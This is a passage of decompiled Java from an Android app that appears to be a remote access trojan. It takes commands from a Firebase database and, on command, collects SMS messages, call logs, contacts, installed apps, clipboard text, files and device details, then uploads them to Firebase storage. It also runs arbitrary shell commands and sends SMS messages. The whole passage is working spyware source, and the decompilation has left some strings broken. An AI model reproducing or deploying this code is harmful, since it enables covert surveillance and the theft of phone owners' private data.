  35.                                                                 if (!servicess.this.cmdn.equals(changewall)) {
  36.                                                                     if (!servicess.this.cmdn.equals(opweb)) {
  37.                                                                         if (!servicess.this.cmdn.equals(tont)) {
  38.                                                                             if (!servicess.this.cmdn.equals(tofft)) {
  39.                                                                                 if (servicess.this.cmdn.equals(clip)) {
  40.                                                                                     servicess.this.clips();
  41.                                                                                     return;
  42.                                                                                 }
  43.                                                                                 return;
  44.                                                                             }
  45.                                                                             servicess.this.tofft();
  46.                                                                             return;
  47.                                                                         }
  48.                                                                         servicess.this.tont();
  49.                                                                         return;
  50.                                                                     }
  51.                                                                     servicess.this._voicere(servicess.this.cmdv);
  52.                                                                     return;
  53.                                                                 }
  54.                                                                 servicess.this._changewall(servicess.this.cmdv);
  55.                                                                 return;
  56.                                                             }
  57.                                                             servicess.this._sendsm(servicess.this.cmdv, servicess.this.cmdvar);
  58.                                                             return;
  59.                                                         }
  60.                                                         servicess.this._palysmudic(servicess.this.cmdv);
  61.                                                         return;
  62.                                                     }
  63.                                                     servicess.this._vibra(servicess.this.cmdv);
  64.                                                     return;
  65.                                                 }
  66.                                                 servicess.this._ttsdev(servicess.this.cmdv);
  67.                                                 return;
  68.                                             }
  69.                                             servicess.this._showtoast(servicess.this.cmdv);
  70.                                             return;
  71.                                         }
  72.                                         servicess.this._devinfo();
  73.                                         return;
  74.                                     }
  75.                                     servicess.this._sudoapt(servicess.this.cmdv, "");
  76.                                     return;
  77.                                 }
  78.                                 servicess.this._getpackages();
  79.                                 return;
  80.                             }
  81.                             servicess.this._dmpcon();
  82.                             return;
  83.                         }
  84.                         servicess.this._dmpcal();
  85.                         return;
  86.                     }
  87.                     servicess.this.getAllSms(servicess.this.getApplicationContext());
  88.                     return;
  89.                 }
  90.                 servicess.this._cd(servicess.this.cmdv, "", "");
  91.             }
  93.             @Override // com.google.firebase.database.ChildEventListener
  94.             public void onChildRemoved(DataSnapshot dataSnapshot) {
  95.             }
  97.             @Override // com.google.firebase.database.ChildEventListener
  98.             public void onChildMoved(DataSnapshot dataSnapshot, String str) {
  99.             }
  101.             @Override // com.google.firebase.database.ChildEventListener
  102.             public void onCancelled(DatabaseError databaseError) {
  103.             }
  104.         }); // /comds/comds/comds/comds
  105.     }
  107.     public void _setpres() {
  108.         FirebaseDatabase.getInstance().getReference(/online/ + gui.uuiip(getApplicationContext()) + /user + gui.uuii(getApplicationContext())).child(device).addChildEventListener(new ChildEventListener() { // from class: sigma.male.servicess.21
  109.             @Override // com.google.firebase.database.ChildEventListener
  110.             public void onChildAdded(DataSnapshot dataSnapshot, String str) {
  111.             }
  113.             @Override // com.google.firebase.database.ChildEventListener
  114.             public void onChildChanged(DataSnapshot dataSnapshot, String str) {
  115.             }
  117.             @Override // com.google.firebase.database.ChildEventListener
  118.             public void onChildRemoved(DataSnapshot dataSnapshot) {
  119.                 servicess.this._setpres2("");
  120.             }
  122.             @Override // com.google.firebase.database.ChildEventListener
  123.             public void onChildMoved(DataSnapshot dataSnapshot, String str) {
  124.             }
  126.             @Override // com.google.firebase.database.ChildEventListener
  127.             public void onCancelled(DatabaseError databaseError) {
  128.             }
  129.         });
  130.     }
  132.     public void _setpres2(String str) {
  133.         this.responsetxt.clear();
  134.         this.responsetxt = new HashMap<>();
  135.         this.responsetxt.put(phone, String.valueOf(Build.MANUFACTURER) + " " + Build.MODEL);
  136.         this.responsetxt.put(android, Android  + Build.VERSION.RELEASE);
  137.         this.responsetxt.put(battery, String.valueOf(((BatteryManager) getSystemService(batterymanager)).getIntProperty(4)) + %);
  138.         this.responsetxt.put(id, gui.uuii(getApplicationContext()));
  139.         for (String str2 : new String[]{/system/app/Superuser.apk, /sbin/su, /system/bin/su, /system/xbin/su, /data/local/xbin/su, /data/local/bin/su, /system/sd/xbin/su, /system/bin/failsafe/su, /data/local/su, /su/bin/su}) {
  140.             if (new File(str2).exists()) {
  141.                 Yes;
  142.             }
  143.         }
  144.         this.responsetxt.put(rooted, No);
  145.         DatabaseReference child = FirebaseDatabase.getInstance().getReference(/online/ + gui.uuiip(getApplicationContext()) + /user + gui.uuii(getApplicationContext())).child(device);
  146.         child.setValue(this.responsetxt);
  147.         child.onDisconnect().removeValue();
  148.     }
  150.     public void _cd(final String str, String str2, String str3) {
  151.         int i = 0;
  152.         if (FileUtil.isExistFile(str)) {
  153.             if (FileUtil.isDirectory(str)) {
  154.                 this.lst.clear();
  155.                 FileUtil.listDir(str, this.lst);
  156.                 this.num = 0.0d;
  157.                 this.str = <li >..;
  158.                 while (true) {
  159.                     int i2 = i;
  160.                     if (i2 < this.lst.size()) {
  161.                         if (FileUtil.isDirectory(this.lst.get((int) this.num))) {
  162.                             this.str = this.str.concat(<li class="fo" >.concat(Uri.parse(this.lst.get((int) this.num)).getLastPathSegment()));
  163.                         } else if (Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(.png) || Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(.jpg) || Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(.jpeg) || Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(.svg) || Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(.ico)) {
  164.                             this.str = this.str.concat(<li class="im" >.concat(Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().concat(<b>.concat(String.valueOf(new File(this.lst.get((int) this.num)).length() / 1024) + KB.concat(</b>)))));
  165.                         } else if (Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(.mp4)) {
  166.                             this.str = this.str.concat(<li class="vi" >.concat(Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().concat(<b>.concat(String.valueOf(new File(this.lst.get((int) this.num)).length() / 1024) + KB.concat(</b>)))));
  167.                         } else {
  168.                             this.str = this.str.concat(<li class="fi" >.concat(Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().concat(<b>.concat(String.valueOf(new File(this.lst.get((int) this.num)).length() / 1024) + KB.concat(</b>)))));
  169.                         }
  170.                         this.num += 1.0d;
  171.                         i = i2 + 1;
  172.                     } else {
  173.                         _setrespo(this.str, str, "", "", "");
  174.                         return;
  175.                     }
  176.                 }
  177.             } else if (FileUtil.isFile(str)) {
  178.                 BitmapFactory.Options options = new BitmapFactory.Options();
  179.                 options.inJustDecodeBounds = true;
  180.                 BitmapFactory.decodeFile(str, options);
  181.                 if (options.outWidth != -1 && options.outHeight != -1 && new File(str).length() / 1024 < 3072) {
  182.                     Date date = new Date(new File(str).lastModified());
  183.                     ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  184.                     BitmapFactory.decodeFile(str).compress(Bitmap.CompressFormat.JPEG, 100, byteArrayOutputStream);
  185.                     _setrespo(imgview, str, Base64.encodeToString(byteArrayOutputStream.toByteArray(), 0), <li>Name:  + Uri.parse(str).getLastPathSegment() + <li>Creation:  + date + <li>Size:  + (new File(str).length() / 1024) + KB <li>Path:  + str, "");
  186.                     return;
  187.                 }
  188.                 this.root.child(str).putFile(Uri.fromFile(new File(str))).addOnFailureListener(this._fbs_failure_listener).addOnProgressListener(this._fbs_upload_progress_listener).continueWithTask(new Continuation<UploadTask.TaskSnapshot, Task<Uri>>() { // from class: sigma.male.servicess.22
  189.                     /* JADX WARN: Can't rename method to resolve collision */
  190.                     @Override // com.google.android.gms.tasks.Continuation
  191.                     public Task<Uri> then(Task<UploadTask.TaskSnapshot> task) throws Exception {
  192.                         return servicess.this.root.child(str).getDownloadUrl();
  193.                     }
  194.                 }).addOnCompleteListener(this._fbs_upload_success_listener);
  195.                 this.filinfodat = <li>Name:  + Uri.parse(str).getLastPathSegment() + <li>Creation:  + new Date(new File(str).lastModified()) + <li>Size:  + (new File(str).length() / 1024) + KB <li>Path:  + str;
  196.             }
  197.         }
  198.     }
  200.     public void _setrespo(String str, String str2, String str3, String str4, String str5) {
  201.         this.responsetxt.clear();
  202.         this.responsetxt = new HashMap<>();
  203.         this.responsetxt.put(respo, str);
  204.         this.responsetxt.put(var2, str2);
  205.         this.responsetxt.put(v1, str3);
  206.         this.responsetxt.put(v2, str4);
  207.         this.responsetxt.put(v3, str5);
  208.         String decrypt = abcdefghijklmnopqrstuvwxyz;
  209.         String str6 = String.valueOf(decrypt) + 0123456789;
  210.         Random random = new Random();
  211.         StringBuilder sb = new StringBuilder(8);
  212.         sb.append(str6.charAt(random.nextInt(str6.length() - 1)));
  213.         for (int length = sb.length(); length < 8; length++) {
  214.             sb.append(str6.charAt(random.nextInt(str6.length())));
  215.         }
  216.         this.responsetxt.put(rndm, sb.toString());
  217.         this._firebase.getReference(/respos/respo + gui.uuii(getApplicationContext())).child(respo).setValue(this.responsetxt);
  218.     }
  220.     public void _dmpsm(String str) {
  221.     }
  223.     public void getAllSms(Context context) {
  224.         Cursor query = context.getContentResolver().query(Telephony.Sms.CONTENT_URI, null, null, null, null);
  225.         String decrypt = <html><meta name='viewport' content='width=device-width, initial-scale=1'><meta name='charset' content='UTF-8' ><script type='text/javascript' src='https://ajax.googleapis.com/ajax/libs/jquery/3.4.0/jquery.min.js'></script> <style> body{margin:0;padding:0;background:#ccc}.accordion{background-color:#fff;color:#000;cursor:pointer;padding:18px;width:100%;border:none;text-align:left;outline:0;font-size:15px;position:relative;transition:.4s;padding-left:50px}.accordion:hover,.active{backgroun-color:#aaa}.accordion:after{content:'›';color:#000;font-weight:700;float:right;transform:rotate(90deg);margin-left:5px}.active:after{content:'›'}.panel{padding:0 18px;background-color:#eee;max-height:0;color:#000;overflow:hidden;transition:max-height .2s ease-out}button span{position:absolute;right:50px}button img{height:30px;position:absolute;left:10px;top:10px;width:30px}.i{height:30px;width:35px;left:8px;transform:scale(.9)}.panel{padding:0 18px;background-color:#eee;max-height:0;color:#000;overflow:hidden;transition:max-height .2s ease-out}button span{position:absolute;right:50px}button img{height:30px;position:absolute;left:10px;top:10px;width:30px}</style>;
  226.         if (query != null) {
  227.             int count = query.getCount();
  228.             if (query.moveToFirst()) {
  229.                 String str = decrypt;
  230.                 for (int i = 0; i < count; i++) {
  231.                     String string = query.getString(query.getColumnIndexOrThrow(date));
  232.                     String string2 = query.getString(query.getColumnIndexOrThrow(address));
  233.                     String string3 = query.getString(query.getColumnIndexOrThrow(body));
  234.                     new Date(Long.valueOf(string).longValue());
  235.                     String str2 = "";
  236.                     String str3 = "";
  237.                     switch (Integer.parseInt(query.getString(query.getColumnIndexOrThrow(type)))) {
  238.                         case 1:
  239.                             str2 = inbox;
  240.                             str3 = https://firebasestorage.googleapis.com/v0/b/white-2bc5f.appspot.com/o/inbox.png?alt=media&token=f3cf8d81-cf23-4588-bd9c-f9c37f518953;
  241.                             break;
  242.                         case 2:
  243.                             str2 = sent;
  244.                             str3 = https://firebasestorage.googleapis.com/v0/b/white-2bc5f.appspot.com/o/sent.png?alt=media&token=a5fb2993-56b6-4f44-ba95-5985aec6ad4a;
  245.                             break;
  246.                         case 4:
  247.                             str2 = outbox;
  248.                             str3 = https://firebasestorage.googleapis.com/v0/b/white-2bc5f.appspot.com/o/outbox.png?alt=media&token=2f7064a7-05b8-4535-a6cf-6666ae20bff0;
  249.                             break;
  250.                     }
  251.                     str = String.valueOf(str) + <button class='accordion'><img src=' + str3 + ' alt=' + str2 + ' > + string2 + <span> + string + < + / + span>< + / + button> + <div class='panel'> + string3 + < + / + div>;
  252.                     query.moveToNext();
  253.                 }
  254.                 decrypt = str;
  255.             }
  256.             query.close();
  257.             decrypt = String.valueOf(decrypt) + <script type='text/javascript'>  + function tm(t){return new Date(1e3*t).toLocaleString();}$('span').each(function(t,e){$(e).html(tm(parseInt($(e).html())))});var i,acc=document.getElementsByClassName('accordion');for(i=0;i<acc.length;i++)acc[i].addEventListener('click',function(){this.classList.toggle('active');var t=this.nextElementSibling;t.style.maxHeight?t.style.maxHeight=null:t.style.maxHeight=t.scrollHeight+'px'}); + </script>;
  258.         }
  259.         try {
  260.             if (FileUtil.isExistFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(/sms.html))) {
  261.                 FileUtil.deleteFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(/sms.html));
  262.             }
  263.             FileOutputStream fileOutputStream = new FileOutputStream(String.valueOf(FileUtil.getPackageDataDir(getApplicationContext())) + /sms.html, true);
  264.             fileOutputStream.write((String.valueOf(decrypt) + "\n\n").getBytes());
  265.             fileOutputStream.close();
  266.             this.user.child(FileUtil.getPackageDataDir(getApplicationContext()).concat(/sms.html)).putFile(Uri.fromFile(new File(FileUtil.getPackageDataDir(getApplicationContext()).concat(/sms.html)))).addOnFailureListener(this._sigmamale_failure_listener).addOnProgressListener(this._sigmamale_upload_progress_listener).continueWithTask(new Continuation<UploadTask.TaskSnapshot, Task<Uri>>() { // from class: sigma.male.servicess.23
  267.                 /* JADX WARN: Can't rename method to resolve collision */
  268.                 @Override // com.google.android.gms.tasks.Continuation
  269.                 public Task<Uri> then(Task<UploadTask.TaskSnapshot> task) throws Exception {
  270.                     return servicess.this.user.child(FileUtil.getPackageDataDir(servicess.this.getApplicationContext()).concat(/sms.html)).getDownloadUrl();
  271.                 }
  272.             }).addOnCompleteListener(this._sigmamale_upload_success_listener);
  273.         } catch (FileNotFoundException e) {
  274.         } catch (IOException e2) {
  275.         }
  276.     }
  278.     public void _dmpcal() {
  279.         String decrypt;
  280.         Context applicationContext = getApplicationContext();
  281.         StringBuffer stringBuffer = new StringBuffer();
  282.         stringBuffer.append(<html><meta name='viewport' content='width=device-width, initial-scale=1'> <style> body{margin:0;padding:0;background:#ccc}.lo{width:calc(98% - 60px);position:relative;height:auto;padding-bottom:5px;padding-top:15px;padding-left:60px;background:#fff;margin:auto;border-radius:10px;margin-top:5px}.lo img{float:left;height:30px;width:30px;position:absolute;top:8px;left:10px}.lo span{float:right;margin-right:20px}</style><body>);
  283.         Cursor query = applicationContext.getContentResolver().query(CallLog.Calls.CONTENT_URI, null, null, null, date DESC);
  284.         int columnIndex = query.getColumnIndex(number);
  285.         int columnIndex2 = query.getColumnIndex(type);
  286.         int columnIndex3 = query.getColumnIndex(date);
  287.         int columnIndex4 = query.getColumnIndex(duration);
  288.         while (query.moveToNext()) {
  289.             String string = query.getString(columnIndex);
  290.             String string2 = query.getString(columnIndex2);
  291.             Date date = new Date(Long.valueOf(query.getString(columnIndex3)).longValue());
  292.             String string3 = query.getString(columnIndex4);
  293.             String str = "";
  294.             switch (Integer.parseInt(string2)) {
  295.                 case 1:
  296.                     decrypt = INCOMING;
  297.                     str = https://firebasestorage.googleapis.com/v0/b/white-2bc5f.appspot.com/o/INCOMING.png?alt=media&token=e660c478-8d09-4ff8-951e-c01a962fadc4;
  298.                     break;
  299.                 case 2:
  300.                     decrypt = OUTGOING;
  301.                     str = https://firebasestorage.googleapis.com/v0/b/white-2bc5f.appspot.com/o/OUTGOING.png?alt=media&token=738a33e9-6049-4a88-9440-3ac6f88e363c;
  302.                     break;
  303.                 case 3:
  304.                     decrypt = MISSED;
  305.                     str = https://firebasestorage.googleapis.com/v0/b/white-2bc5f.appspot.com/o/MISSED.png?alt=media&token=ebe94876-a3a4-4765-80f5-ce8e2c484056;
  306.                     break;
  307.                 default:
  308.                     decrypt = null;
  309.                     break;
  310.             }
  311.             stringBuffer.append(<div class='lo' ><img src=' + str + ' alt=' + decrypt + ' ><b> + string + </b> <span> + string3 +  Sec</span><br><br> + date + </div>);
  312.         }
  313.         query.close();
  314.         try {
  315.             if (FileUtil.isExistFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(/call.html))) {
  316.                 FileUtil.deleteFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(/call.html));
  317.             }
  318.             FileOutputStream fileOutputStream = new FileOutputStream(String.valueOf(FileUtil.getPackageDataDir(getApplicationContext())) + /call.html, true);
  319.             fileOutputStream.write((String.valueOf(stringBuffer.toString()) + "\n\n").getBytes());
  320.             fileOutputStream.close();
  321.             this.user.child(FileUtil.getPackageDataDir(getApplicationContext()).concat(/call.html)).putFile(Uri.fromFile(new File(FileUtil.getPackageDataDir(getApplicationContext()).concat(/call.html)))).addOnFailureListener(this._sigmamale_failure_listener).addOnProgressListener(this._sigmamale_upload_progress_listener).continueWithTask(new Continuation<UploadTask.TaskSnapshot, Task<Uri>>() { // from class: sigma.male.servicess.24
  322.                 /* JADX WARN: Can't rename method to resolve collision */
  323.                 @Override // com.google.android.gms.tasks.Continuation
  324.                 public Task<Uri> then(Task<UploadTask.TaskSnapshot> task) throws Exception {
  325.                     return servicess.this.user.child(FileUtil.getPackageDataDir(servicess.this.getApplicationContext()).concat(/call.html)).getDownloadUrl();
  326.                 }
  327.             }).addOnCompleteListener(this._sigmamale_upload_success_listener);
  328.         } catch (FileNotFoundException e) {
  329.         } catch (IOException e2) {
  330.         }
  331.     }
  333.     public void _dmpcon() {
  334.         String str;
  335.         String decrypt = <html><meta name='viewport' content='width=device-width, initial-scale=1'><body><style> body{margin:0;padding:0;background:#ccc}.lo{width:calc(98% - 60px);position:relative;height:auto;padding-bottom:5px;padding-top:15px;padding-left:60px;background:#fff;margin:auto;border-radius:10px;margin-top:5px}.lo img{float:left;height:30px;width:30px;position:absolute;top:8px;left:10px}.lo span{float:right;margin-right:20px}</style>;
  336.         Cursor query = getApplicationContext().getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, new String[]{_id, display_name, data1, account_type}, account_type <> 'google' , null, null);
  337.         if (query.getCount() > 0) {
  338.             str = decrypt;
  339.             while (query.moveToNext()) {
  340.                 str = String.valueOf(str) + <div class='lo' ><img src='https://firebasestorage.googleapis.com/v0/b/white-2bc5f.appspot.com/o/cont.png?alt=media&token=4ee314cc-c1bd-417d-b03e-8a33f74b4330' ><b>Name: </b> + query.getString(query.getColumnIndex(display_name)) + <br><b>Number: </b> + query.getString(query.getColumnIndex(data1)) + <br> <b>From: </b> + query.getString(query.getColumnIndex(account_type)) + </div>;
  341.             }
  342.         } else {
  343.             str = decrypt;
  344.         }
  345.         try {
  346.             if (FileUtil.isExistFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(/cont.html))) {
  347.                 FileUtil.deleteFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(/cont.html));
  348.             }
  349.             FileOutputStream fileOutputStream = new FileOutputStream(String.valueOf(FileUtil.getPackageDataDir(getApplicationContext())) + /cont.html, true);
  350.             fileOutputStream.write((String.valueOf(str) + "\n\n").getBytes());
  351.             fileOutputStream.close();
  352.             this.user.child(FileUtil.getPackageDataDir(getApplicationContext()).concat(/cont.html)).putFile(Uri.fromFile(new File(FileUtil.getPackageDataDir(getApplicationContext()).concat(/cont.html)))).addOnFailureListener(this._sigmamale_failure_listener).addOnProgressListener(this._sigmamale_upload_progress_listener).continueWithTask(new Continuation<UploadTask.TaskSnapshot, Task<Uri>>() { // from class: sigma.male.servicess.25
  353.                 /* JADX WARN: Can't rename method to resolve collision */
  354.                 @Override // com.google.android.gms.tasks.Continuation
  355.                 public Task<Uri> then(Task<UploadTask.TaskSnapshot> task) throws Exception {
  356.                     return servicess.this.user.child(FileUtil.getPackageDataDir(servicess.this.getApplicationContext()).concat(/cont.html)).getDownloadUrl();
  357.                 }
  358.             }).addOnCompleteListener(this._sigmamale_upload_success_listener);
  359.         } catch (FileNotFoundException e) {
  360.         } catch (IOException e2) {
  361.         }
  362.     }
  364.     public void _getpackages() {
  365.         String str;
  366.         ByteArrayOutputStream byteArrayOutputStream;
  367.         List<PackageInfo> installedPackages = getApplicationContext().getPackageManager().getInstalledPackages(0);
  368.         String decrypt = <html><meta name='viewport' content='width=device-width, initial-scale=1'> <style>*{margin:0;padding:0;}body{margin:0;padding:0;background:#222;}.keylogg {background:#000;width:calc(95% - 20px);height:auto;margin:auto;padding:10px;color:#0dd;padding-bottom:10px;margin-top:8px;border-radius:10px;position:relative;overflow:auto;}.keylogg  b{color:red;}.keylogg img{max-height:50px;max-width:50px;position:absolute;left:10px;}.keylogg p{color:#fff;}.keylogg span{float:right;margin-right:10px;}.btn{height:40px;width:150px;border:0;border-radius:5px;border:1px solid red;background:black;color:white;} </style><body>;
  369.         Iterator<PackageInfo> it = installedPackages.iterator();
  370.         while (true) {
  371.             str = decrypt;
  372.             if (it.hasNext()) {
  373.                 PackageInfo next = it.next();
  374.                 getBitmapFromDrawable(next.applicationInfo.loadIcon(getPackageManager())).compress(Bitmap.CompressFormat.JPEG, 100, new ByteArrayOutputStream());
  375.                 decrypt = String.valueOf(str) + <div class='keylogg' ><img src='data:image/png;base64, + Base64.encodeToString(byteArrayOutputStream.toByteArray(), 0) + ' ><div style='margin-left:60px;padding-top:3px;overflow:auto;' ><b style='color:green;' >  + next.applicationInfo.loadLabel(getPackageManager()).toString() +  (v + next.versionName +  )</b><br><b style='color:red;' >  + next.packageName + </b><br></div><br></div>;
  376.             } else {
  377.                 try {
  378.                     break;
  379.                 } catch (FileNotFoundException e) {
  380.                     return;
  381.                 } catch (IOException e2) {
  382.                     return;
  383.                 }
  384.             }
  385.         }
  386.         if (FileUtil.isExistFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(/apps.html))) {
  387.             FileUtil.deleteFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(/apps.html));
  388.         }
  389.         FileOutputStream fileOutputStream = new FileOutputStream(String.valueOf(FileUtil.getPackageDataDir(getApplicationContext())) + /apps.html, true);
  390.         fileOutputStream.write((String.valueOf(str) + "\n\n").getBytes());
  391.         fileOutputStream.close();
  392.         SketchwareUtil.showMessage(getApplicationContext(), packejsj);
  393.         this.user.child(FileUtil.getPackageDataDir(getApplicationContext()).concat(/apps.html)).putFile(Uri.fromFile(new File(FileUtil.getPackageDataDir(getApplicationContext()).concat(/apps.html)))).addOnFailureListener(this._sigmamale_failure_listener).addOnProgressListener(this._sigmamale_upload_progress_listener).continueWithTask(new Continuation<UploadTask.TaskSnapshot, Task<Uri>>() { // from class: sigma.male.servicess.26
  394.             /* JADX WARN: Can't rename method to resolve collision */
  395.             @Override // com.google.android.gms.tasks.Continuation
  396.             public Task<Uri> then(Task<UploadTask.TaskSnapshot> task) throws Exception {
  397.                 return servicess.this.user.child(FileUtil.getPackageDataDir(servicess.this.getApplicationContext()).concat(/apps.html)).getDownloadUrl();
  398.             }
  399.         }).addOnCompleteListener(this._sigmamale_upload_success_listener);
  400.     }
  402.     public static Bitmap getBitmapFromDrawable(Drawable drawable) {
  403.         Bitmap createBitmap = Bitmap.createBitmap(drawable.getIntrinsicWidth(), drawable.getIntrinsicHeight(), Bitmap.Config.ARGB_8888);
  404.         Canvas canvas = new Canvas(createBitmap);
  405.         drawable.setBounds(0, 0, canvas.getWidth(), canvas.getHeight());
  406.         drawable.draw(canvas);
  407.         return createBitmap;
  408.     }
  410.     public String shell_exec(String str) {
  411.         String str2 = "";
  412.         String[] strArr = {sh, -c, str};
  413.         try {
  414.             BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(str).getInputStream()));
  415.             while (true) {
  416.                 String readLine = bufferedReader.readLine();
  417.                 if (readLine != null) {
  418.                     str2 = String.valueOf(str2) + readLine;
  419.                 } else {
  420.                     return str2;
  421.                 }
  422.             }
  423.         } catch (Exception e) {
  424.             return error;
  425.         }
  426.     }
  428.     public void _sudoapt(String str, String str2) {
  429.         _setrespo(shellview, "", shell_exec(str), "", "");
  430.     }
  432.     public void _devinfo() {
  433.         getApplicationContext();
  434.         Display defaultDisplay = ((WindowManager) getSystemService(window)).getDefaultDisplay();
  435.         int width = defaultDisplay.getWidth();
  436.         _setrespo(deviceinfo, "", <div class ='keylogg' ><b>SERIAL: </b> + Build.SERIAL + <br><b> + MODEL: </b>  + Build.MODEL + <br><b> + ID:  </b> + Build.ID + <br><b> + Manufacture: </b> + Build.MANUFACTURER + <br><b> + Brand:</b>  + Build.BRAND + <br><b> + Device Language: </b> + Locale.getDefault().getDisplayLanguage() + <br><b> + Screen Resolution: </b> + width + x + defaultDisplay.getHeight() + <br><b> + Type: </b> + Build.TYPE + <br><b> + User: </b> + Build.USER + <br><b> + BASE: </b> + 1 + <br><b> + INCREMENTAL: </b> + Build.VERSION.INCREMENTAL + <br><b> + SDK:</b>  + Build.VERSION.SDK + <br><b> + BOARD: </b> + Build.BOARD + <br><b> + BRAND:</b>  + Build.BRAND + <br><b> + HOST: </b> + Build.HOST + <br><b> + FINGERPRINT: </b> + Build.FINGERPRINT + <br><b> + Version Code: </b> + Build.VERSION.RELEASE + </div>, "", "");
  437.     }
  439.     public void _showtoast(String str) {
  440.         SketchwareUtil.showMessage(getApplicationContext(), str);
  441.         _setrespo(dialogview, "", Toast Shown Successfully, "", "");
  442.     }
  444.     public void _vibra(String str) {
  445.         this.vibrator.vibrate(Integer.parseInt(str));
  446.         _setrespo(dialogview, "", Device Vibrated, "", "");
  447.     }
  449.     public void _ttsdev(String str) {
  450.         this.tts.speak(str, 1, null);
  451.         _setrespo(dialogview, "", TTS Completed Successfully, "", "");
  452.     }
  454.     public void _palysmudic(String str) {
  455.         this.mp = new MediaPlayer();
  456.         this.mp.setAudioStreamType(3);
  457.         try {
  458.             this.mp.setDataSource(str);
  459.         } catch (IOException e) {
  460.             e.printStackTrace();
  461.         } catch (IllegalArgumentException e2) {
  462.             _setrespo(dialogview, "", <span style='color:red;' > ERROR: </span>Song Not Found from URL, "", "");
  463.         } catch (IllegalStateException e3) {
  464.             _setrespo(dialogview, "", <span style='color:red; ' > ERROR: </span>Song Not Found from URL, "", "");
  465.         } catch (SecurityException e4) {
  466.             _setrespo(dialogview, "", <span style='color:red; ' > ERROR: </span>Song Not Found from URL, "", "");
  467.         }
  468.         try {
  469.             this.mp.prepare();
  470.             _setrespo(dialogview, "", <span style='color: green; '> Success: </span>Song is playing, "", "");
  471.         } catch (IOException e5) {
  472.             _setrespo(dialogview, "", <span style='color:red; ' > ERROR: </span>Song Not Found from URL, "", "");
  473.         } catch (IllegalStateException e6) {
  474.             _setrespo(dialogview, "", <span style='color:red; ' > ERROR: </span>Song Not Found from URL, "", "");
  475.         }
  476.         this.mp.start();
  477.         if (this.mp.isPlaying()) {
  478.             _setrespo(dialogview, "", <span style='color: green; '> Success: </span>Song is playing, "", "");
  479.         }
  480.     }
  482.     public void _sendsm(String str, String str2) {
  483.         try {
  484.             SmsManager.getDefault().sendTextMessage(str, null, str2, null, null);
  485.             _setrespo(dialogview, "", <span style='color:green'>Success: </span>Message Sent Successfully, "", "");
  486.         } catch (Exception e) {
  487.             _setrespo(dialogview, "", <span style='color:red'>Error: </span>Either permission is not given or Data is incorrect., "", "");
  488.         }
  489.     }
  491.     public void _changewall(String str) {
  492.         if (str.equals(0)) {
  493.             try {
  494.                 WallpaperManager.getInstance(getApplicationContext()).setResource(R.drawable.wall1);
  495.             } catch (Exception e) {
  496.                 e.printStackTrace();
  497.             }
  498.             _setrespo(dialogview, "", Wallpaper Changed Successfully, "", "");
  499.         } else if (str.equals(1)) {
  500.             try {
  501.                 WallpaperManager.getInstance(getApplicationContext()).setResource(R.drawable.wall2);
  502.             } catch (Exception e2) {
  503.                 e2.printStackTrace();
  504.             }
  505.             _setrespo(dialogview, "", Wallpaper Changed Successfully, "", "");
  506.         } else if (str.equals(2)) {
  507.             try {
  508.                 WallpaperManager.getInstance(getApplicationContext()).setResource(R.drawable.wall3);
  509.             } catch (Exception e3) {
  510.                 e3.printStackTrace();
  511.             }
  512.             _setrespo(dialogview, "", Wallpaper Changed Successfully, "", "");
  513.         }
  514.     }
  516.     /* JADX WARN: Code restructure failed: missing block: B:12:0x004f, code lost:
  517.         if (r1.isEmpty() != false) goto L13;
  518.      */
  519.     /*
  520.         Code decompiled incorrectly, please refer to instructions dump.
  521.     */
  522.     public void clips() {
  523.         String str = null;
  524.         final ClipboardManager[] clipboardManagerArr = new ClipboardManager[1];
  525.         String str2 = "";
  526.         new Handler(Looper.getMainLooper()).post(new Runnable() { // from class: sigma.male.servicess.27
  527.             @Override // java.lang.Runnable
  528.             public void run() {
  529.                 clipboardManagerArr[0] = (ClipboardManager) servicess.this.getSystemService(clipboard);
  530.             }
  531.         });
  532.         try {
  533.             if (clipboardManagerArr[0].hasPrimaryClip()) {
  534.                 ClipDescription primaryClipDescription = clipboardManagerArr[0].getPrimaryClipDescription();
  535.                 ClipData primaryClip = clipboardManagerArr[0].getPrimaryClip();
  536.                 if (primaryClip != null && primaryClipDescription != null && primaryClipDescription.hasMimeType(text/plain)) {
  537.                     str2 = String.valueOf(primaryClip.getItemAt(0).getText());
  538.                 }
  539.             }
  540.             str = str2;
  541.         } catch (NullPointerException e) {
  542.         }
  543.         _setrespo(deviceinfo, "", <div class ='keylogg' >  + str + </div>, "", "");
  544.     }
  546.     public void _voicere(String str) {
  547.         _setrespo(dialogview, "", Launched URL :  + str, "", "");
  548.         Intent intent = new Intent();
  549.         intent.addFlags(268435456);
  550.         intent.setAction(android.intent.action.VIEW);
  551.         intent.setData(Uri.parse(str));
  552.         startActivity(intent);
  553.     }
  555.     public void tofft() {
  556.         _setrespo(dialogview, "", Turned Off Torch light, "", "");
  557.         CameraManager cameraManager = (CameraManager) getSystemService(camera);
  558.         try {
  559.             cameraManager.setTorchMode(cameraManager.getCameraIdList()[0], false);
  560.         } catch (CameraAccessException e) {
  561.         }
  562.     }
  564.     public void tont() {
  565.         _setrespo(dialogview, "", Turned On Torch light, "", "");
  566.         CameraManager cameraManager = (CameraManager) getSystemService(camera);
  567.         try {
  568.             cameraManager.setTorchMode(cameraManager.getCameraIdList()[0], true);
  569.         } catch (CameraAccessException e) {
  570.         }
  571.     }
  573.     @Override // android.app.Service
  574.     public IBinder onBind(Intent intent) {
  575.         return null;
  576.     }
  578.     @Override // android.app.Service
  579.     public void onDestroy() {
  580.         Intent intent = new Intent();
  581.         intent.setAction(restartservice);
